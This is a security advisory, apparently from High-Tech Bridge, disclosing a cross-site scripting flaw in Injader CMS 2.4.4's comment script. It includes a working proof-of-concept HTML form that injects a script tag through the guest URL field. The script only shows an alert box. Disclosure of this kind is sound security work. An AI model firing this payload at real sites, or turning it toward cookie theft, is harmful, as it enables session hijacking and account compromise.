XSS vulnerability in Injader CMS

Vulnerability ID: HTB22745
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_injader_cms_1.html
Product: Injader CMS
Vendor: http://www.injader.com/ ( http://www.injader.com/ )
Vulnerable Version: 2.4.4
Vendor Notification: 07 December 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/comment.php" script to properly sanitize user-supplied input in "txtGuestURL" variable.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:

<form action="http://injader/comment.php?action=create&amp;area=1&quot; method="post" name="main" >
<input type="hidden" name="txtGuestName" value="test"/>
<input type="hidden" name="txtGuestEmail" value="[email protected]"/>
<input type="hidden" name="chkPreview" value="on"/>
<input type="hidden" name="txtContent" value="test"/>
<input type="hidden" name="txtArticleID" value="1"/>
<input type="hidden" name="txtGuestURL" value='http://123.com"><script>alert("XSS");</script>'/>
<input type="submit" value="submit" name="submit" />
</form>